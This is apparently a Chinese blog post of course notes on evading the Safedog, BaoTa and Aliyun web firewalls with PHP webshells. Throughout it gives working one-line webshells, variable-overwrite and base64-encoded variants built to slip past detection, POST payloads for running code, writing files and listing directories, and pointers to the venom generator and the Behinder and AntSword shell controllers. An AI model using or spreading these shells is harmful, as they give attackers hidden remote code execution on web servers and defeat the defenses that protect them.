zoukankan      html  css  js  c++  java
  • 48:WAF绕过-权限控制之代码混淆及行为造轮子

    思维导图

    Safedog代码层手写及脚本绕过

    • 变量覆盖,加密混淆,异或生成

    BT Aliyun代码层手写及脚本绕过

    • 编码解码(变量覆盖,加密混淆,异或生成)

    ASP,PHP,ASPX,JSP,PY等后门免杀同理

    先绕安全狗-->安全狗加BT-->安全狗加BT加Aliyun,三者依次测试

    案例1:Safedog-手写覆盖变量简易代码绕过-代码层

    一句话木马:<?php assert($_POST['chopper']);?>
    
    变量覆盖:通过把敏感字符写到参数上,绕过WAF:
    <?php
    $a=$_GET['x'];
    $$a=$_GET['y'];
    $b($_POST['z']);
    ?>
    
    //传参:?x=b&y=assert
    //$a=b  $$a=assert=$b assert($_POST['z']);
    
    可以绕过safedog查杀
     
    上传成功后,
    访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
    并且(可以用hackbar插件)postdata:z=phpinfo();
    
    safedog不拦截
    

    测试,成功。

    0

    案例2:Safedog,BT,Aliyun-基于 覆盖变量 编码解码 绕过-代码层

    采取上述覆盖变量的方式可以绕过安全狗查杀,但是会被宝塔拦截。原因是 宝塔过滤规则里定义了phpinfo()等关键字。

    所以可以配套 使用编码解码方式 绕过 宝塔。

    一句话木马:
    <?php $a=$_GET['x']; $$a=$_GET['y']; $b(base64_decode($_POST['z'])); ?> 上传成功后, 访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert 并且(可以用hackbar插件)postdata:z=cGhwaW5mbygpOw==

    测试,成功。

    案例3:Safedog-基于接口类加密混淆代码绕过-代码层

    上传一句话木马:

    <?php assert(base64_decode($_POST['chopper']));?>
    

    木马文件被安全狗查杀

    访问被安全狗拦截

    可以采用加密混淆的方法绕过

    方法1:使用enPHP工具加密混淆代码

    enPHP:一个开源加密混淆 PHP 代码项目
    
    源码地址:https://github.com/djunny/enphp(工具已被删除)
    命令:php.exe code_test.php
    
    在线地址:http://enphp.djunny.com/(貌似也用不了?)
    

    加密混淆后木马:

    测试,成功。

    方法2:phpjiami在线加密混淆

    地址:https://www.phpjiami.com/phpjiami.html

    木马加密前后对比:

    测试,成功。

    案例4:safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层

    venom:支持生成asp、aspx、jsp、php等一句话免杀木马

    • 下载:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao
    • 这个项目原来在github上,后来被移除了。发现gitee上也有Webshell-venom,
    • 地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search
    ## 使用方法
    ```
    python3 php_venom_3.3.py    //生成免杀一句话
    
    python3 php_venom_3.3.py shell.php   //对同目录下shell.php进行免杀处理,结果保存在shell.php.bypass.php
    ```
       
    ## 3.x 使用说明:
     
     是否传入id参数决定是否把流量编码
     
     ```
    http://www.xxx.com/shell.php  
    POST: mr6=phpinfo();  //与普通shell相同
    
    http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
    POST: mr6=cGhwaW5mbygpOwo=  //payload的base64编码
    
    ```
    

    测试,成功。

    案例5:Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层

    3个工具比较:

    • 菜刀:已经不再更新了,无插件(看举例1),单向加密传输,打5分,不建议使用。
    • 蚁剑:持续更新状态,有插件,扩展性强,缺点是单向加密传输,打8分。
    • 冰蝎:持续更新状态,未知插件,扩展性强,双向加密传输,偏向于后渗透,可以联动msf.,打分9分,推荐使用。

    下载地址:

    • 冰蝎:https://github.com/rebeyond/Behinder/releases/
    • 蚁剑:https://github.com/AntSwordProject/antSword/releases

    举例1:菜刀工具没有base64编码解码功能,所以就无法通过编码绕过宝塔,但是蚁剑可以,如下图所示。

    单向加密传输VS双向加密传输:

    • 单向加密传输:请求参数加密,响应不加密。
    • 双向加密传输:请求加密,响应加密,更好地保护数据传输,防止waf拦截被杀。

    冰蝎双向加密传输原理:

    冰蝎-双向加密传输-抓包查看

    案例6:Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层

    使用工具连接木马时,waf可能会通过工具的指纹实现拦截,此时我们可以采用如下方法绕过:1、指纹变异、2、自己造轮子

    举例如下,自己写脚本模拟工具

    http://test.xxx.com/xx.php?x=b&y=assert
    post data举例:
    执行代码 z=phpinfo(); -->  z=cGhwaW5mbygpOw== 
    写入文件 z=file_put_contents("test.txt","1"); -->  z=ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IiwiMSIpOw== 
    读取文件 z=var_dump(scandir(".")); -->  z=dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs= 
    

     

     测试,成功。

     

    涉及其他资源:

    1、wsexplorer抓包工具

    2、超级加解密转换工具

    感兴趣的可以去下载试试。

  • 相关阅读:
    mysql for update 高并发 死锁研究
    IntelliJ IDEA导航特性Top20
    idea工具
    图片水印处理-temp
    idea常用快捷键列表
    编写MyLayer,2 锚点,3 精灵的创建,4 zorder
    CSS学习(十六)-HSLA颜色模式
    android中LocalBroadcastManager的使用
    什么是鸭子类型(duck typing)
    线程应用的场景
  • 原文地址:https://www.cnblogs.com/zhengna/p/15133613.html
Copyright © 2011-2022 走看看